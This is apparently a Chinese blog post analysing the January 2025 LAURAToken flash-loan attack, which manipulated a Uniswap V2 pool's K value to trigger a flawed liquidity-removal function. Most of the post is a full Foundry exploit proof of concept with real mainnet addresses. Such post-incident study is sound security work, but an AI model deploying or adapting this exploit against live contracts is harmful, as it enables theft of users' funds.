20250101 LAURAToken 攻击事件分析与复现
<!--StartFragment-->
2025年1月1日,LAURAToken 的流动性池(LAURA/WETH)遭到了一次精心策划的攻击,攻击者通过操纵 Uniswap V2 流动性池的AMM,并利用 LAURAToken 合约中的 removeLiquidityWhenKIncreases
函数,成功窃取了约 12.34 ETH(约合 4.12 万美元)。此次攻击的核心在于通过闪电贷注入大量资金,人为的影响了代币的价格,然后调用 LAURAToken 合约的流动性移除机制,操纵价格从而能提取更多的代币。
闪电贷是 DeFi(去中心化金融)领域中的一种创新金融工具,允许用户在无需提供抵押品的情况下,借入大量资金进行交易。闪电贷的核心特点是:
闪电贷的流行协议包括 Aave、dYdX 和 Balancer 等。尽管闪电贷为 DeFi 带来了更多的可能性,但也因其无需抵押的特性,成为攻击者进行恶意操作的工具。
本次攻击的根本原因在于 LAURAToken 合约中的
removeLiquidityWhenKIncreases
函数设计存在缺陷,具体表现为以下几个方面:
LAURAToken 合约中的 removeLiquidityWhenKIncreases
函数依赖于 Uniswap V2 流动性池的 K 值(恒定乘积)作为触发条件。该合约中的 currentK
值是流动性池中两种代币储备量的乘积(K = reserve0 * reserve1
)。然而,该函数并未验证 currentK
值变化的来源。攻击者可以通过闪电贷注入大量资金,进而人为操控 currentK
值,从而触发该函数。
currentK
值的变化可能由正常的市场交易引起,也可能由恶意操纵引起,而函数无法区分这两种情况。currentK
值的变化,触发不应有的函数逻辑,从而破坏流动性池的平衡,造成潜在的安全风险。首先,我们从攻击交易开始分析。\ 可以通过使用 Phalcon 进行攻击交易分析:攻击交易链接
\
从交易中可以看到,攻击合约 A 被创建,并且攻击合约 A 在其构造函数中创建了攻击合约 B,随后调用了攻击合约 B 的攻击函数。\
基于这一分析,我们可以构建攻击合约 A 的代码。
\
在攻击合约 B 的构造函数中,可以看到执行了
approve
操作。
接下来,在攻击合约 B 的 attack
函数中,我们需要复现攻击分析中提到的相关调用,并确保函数调用的参数与原始攻击完全一致。
attack()
函数逻辑attack()
函数是本次攻击的核心逻辑,攻击者通过该函数执行了一系列操作,最终实现了对 LAURAToken 流动性池的操纵和资金的非法提取。以下是该函数的详细步骤总结:
在执行闪电贷操作后,我们还需要在攻击合约 B 中实现闪电贷的回调函数。闪电贷回调函数主要用于在同一笔交易中完成还款,但也可以同时执行其他操作。
在执行闪电贷函数后,我们需要在攻击合约B中实现闪电贷的回调函数,闪电贷回调函数主要是为了实现在同一笔交易中还款,但也可同时执行其他操作。
攻击者将通过闪电贷获取的大量 WETH,用 11,526,249,223,479,392,795,400 个 WETH 在 Uniswap 的 LAURA-WETH 池中进行 swap。此时,攻击合约 B 中剩余 18,473,750,776,520,607,204,600 WETH,同时 swap 得到 6,090,844,737,683,950,823,905,816 个 LAURA 代币。
攻击者随后向 pair_LAURA_WETH
添加流动性,添加的数量为 11,526,249,223,479,392,795,400 个 WETH 和 6,090,844,737,683,950,823,905,816 个 LAURA 代币。如果攻击者此时撤出流动性,他能获得的两种代币数量分别是:
攻击者接着执行 LAURAToken 的 removeLiquidityWhenKIncreases
函数,该函数导致 pair_LAURA_WETH
池中的 LAURA 数量减少,进而抬高了 LAURA 代币的价格。
然后,攻击者执行撤出流动性函数 removeLiquidity
,此时撤出的代币数量为:
最后,攻击者将价格上涨后的 LAURA 代币全部 swap 成 WETH,并最终转账离场。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../utils/interface.sol";
address constant uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant pairLAURA_WETH = 0xb292678438245Ec863F9FEa64AFfcEA887144240;
address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
uint256 constant LOAN_AMOUNT = 30_000 ether;
uint256 constant MAGIC_NUMBER = 11_526_249_223_479_392_795_400;
contract LAURAToken_exp is Test {
address attacker = makeAddr("attacker");
function setUp() public {
vm.createSelectFork("mainnet", 21_529_888 - 1);
}
function testPoC() public {
vm.startPrank(attacker);
AttackContractA attackCA = new AttackContractA();
console.log("Final balance in ETH :", address(attackCA).balance);
}
}
contract AttackContractA {
constructor(){
//1.创建AttackContractB合约
AttackContractB attackCB = new AttackContractB();
//2.调用AttackContractB合约的attack函数
attackCB.attack();
}
receive() external payable {}
}
contract AttackContractB {
using SafeMath for uint;
constructor(){
//1.调用WETH合约的approve函数,被授权是uniswap v2 router 2 合约。 amount 是 MAX(uint256)
IFS(weth).approve(uniV2Router, type(uint256).max);
}
function attack() external {
console.log("----->Attack Begin");
//1.call LAURA approve( uniswap v2 router 2, MAX(uint256) )
console.log("----->LAURA approve");
address LAURA = IFS(pairLAURA_WETH).token0();
IFS(LAURA).approve(uniV2Router, type(uint256).max);
//2.call BalancerVault flashLoan( ATTACKER_CONTRACT_B, WETH, amount =30,000 * 10 ^ 18, receiveflashdata )
console.log("----->BalancerVault flashLoan");
address[] memory tokens = new address[](1);
tokens[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = LOAN_AMOUNT;
IFS(balancerVault).flashLoan(
address(this),
tokens,
amounts,
hex'000000000000000000000000b292678438245ec863f9fea64affcea887144240' // pairLAURA_WETH
);
//3.call WETH withdraw
console.log("----->WETH withdraw");
uint256 attackCA_weth_bal = IERC20(weth).balanceOf(address(this));
IFS(weth).withdraw(attackCA_weth_bal);
(bool success,) = msg.sender.call{value: attackCA_weth_bal}("");
require(success, "Not success");
}
function receiveFlashLoan(
IERC20[] memory,
uint256[] memory,
uint256[] memory,
bytes memory
) external {
address LAURA = IFS(pairLAURA_WETH).token0();
//staticCall 了 weth 的地址,这里常量声明了。
uint256 attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
uint256 pair_LAURA_WETH_weth_bal = IERC20(weth).balanceOf(pairLAURA_WETH);
console.log("attackCB_weth_bal:", attackCB_weth_bal);
console.log("pair_LAURA_WETH_weth_bal:", pair_LAURA_WETH_weth_bal);
//1.call Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens
console.log("----->Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens");
address[] memory path = new address[](2);
path[0] = weth;
path[1] = LAURA;
IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
MAGIC_NUMBER, // amountIn
0, // amountOutMin
path, // path
address(this), // to
type(uint256).max
);
attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
uint256 attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
console.log("attackCB_weth_bal:", attackCB_weth_bal);
console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);
//2.Uniswap V2: Router 2 addLiquidty
console.log("----->Uniswap V2: Router 2 addLiquidty");
uint256 pair_lp_total_supply = IFS(pairLAURA_WETH).totalSupply();
console.log("pair_lp_total_supply:", pair_lp_total_supply);
IFS(uniV2Router).addLiquidity(
LAURA,
weth,
attackCB_LAURA_bal,
MAGIC_NUMBER,
0,
0,
address(this),
type(uint256).max
);
uint256 attackCB_pair_lp_bal = IFS(pairLAURA_WETH).balanceOf(address(this));
console.log("attackCB_pair_lp_bal:", attackCB_pair_lp_bal);
pair_lp_total_supply = IFS(pairLAURA_WETH).totalSupply();
console.log("pair_lp_total_supply:", pair_lp_total_supply);
calculateBurnAmounts();
//3.LURA.removeLiquidityWhenKIncreases
console.log("----->LURA.removeLiquidityWhenKIncreases");
IFS(LAURA).removeLiquidityWhenKIncreases();
calculateBurnAmounts();
attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);
//4.Uniswap V2: LAURA 5 approve
console.log("----->Uniswap V2: LAURA 5 approve");
IFS(pairLAURA_WETH).approve(uniV2Router, type(uint256).max);
//5.Uniswap V2: Router 2 removeLiquidity
console.log("----->Uniswap V2: Router 2 removeLiquidity");
uint256 attackCB_pairLAURA_WETH_bal = IERC20(pairLAURA_WETH).balanceOf(address(this));
IFS(uniV2Router).removeLiquidity(
LAURA,
weth,
attackCB_pairLAURA_WETH_bal,
0,
0,
address(this),
type(uint256).max
);
console.log("After remove liquidity");
attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);
//6.Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens
console.log("----->Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens");
attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
path[0] = LAURA;
path[1] = weth;
IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
attackCB_LAURA_bal,
0,
path,
address(this),
type(uint256).max
);
attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);
console.log("attackCB_weth_bal:", attackCB_weth_bal);
//7.WETH transfer
console.log("----->repay WETH transfer");
IFS(weth).transfer(balancerVault, LOAN_AMOUNT);
attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
console.log("attackCB_weth_bal:", attackCB_weth_bal);
}
function calculateBurnAmounts() internal {
// 获取 pair 合约的储备量和总供应量
address _token0 = IFS(pairLAURA_WETH).token0();
address _token1 = IFS(pairLAURA_WETH).token1();
uint balance0 = IFS(_token0).balanceOf(address(pairLAURA_WETH));
uint balance1 = IFS(_token1).balanceOf(address(pairLAURA_WETH));
// 获取当前合约在 pair 中的流动性余额
uint256 liquidity = IFS(pairLAURA_WETH).balanceOf(address(this));
// 获取 pair 合约的总供应量
uint256 _totalSupply = IFS(pairLAURA_WETH).totalSupply();
// 计算 burn 后可以得到的 token0 和 token1 的数量
uint256 amount0 = liquidity.mul(balance0) / _totalSupply;
uint256 amount1 = liquidity.mul(balance1) / _totalSupply;
// 打印计算结果
console.log("if_removeLq_calculateBurnAmounts");
console.log("Calculated amount of token0(LAURA):", amount0);
console.log("Calculated amount of token1(WETH):", amount1);
}
receive() external payable {}
}
interface IFS is IERC20 {
// LAURA 代币的特殊函数
function removeLiquidityWhenKIncreases() external;
// WETH 合约的 withdraw() 方法
function withdraw(uint256 wad) external;
// UniswapV2 Pair 相关函数
function token0() external view returns (address);
function token1() external view returns (address);
// Balancer Vault 的闪电贷接口
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
// UniswapV2Router 交易和流动性管理
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
完整的可执行代码在:https://github.com/GAMBLISME/Attack_Reproduction_Foundry
本次攻击事件揭示了 DeFi 项目中流动性池设计的潜在漏洞,特别是在涉及合约函数触发条件的情况下。以下是事件的关键总结点:
removeLiquidityWhenKIncreases
函数缺乏对 currentK
值变化来源的验证,导致攻击者可以通过恶意操控 K 值触发不应发生的逻辑。这一缺陷暴露了流动性池合约中对于市场操控防护的不足。<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!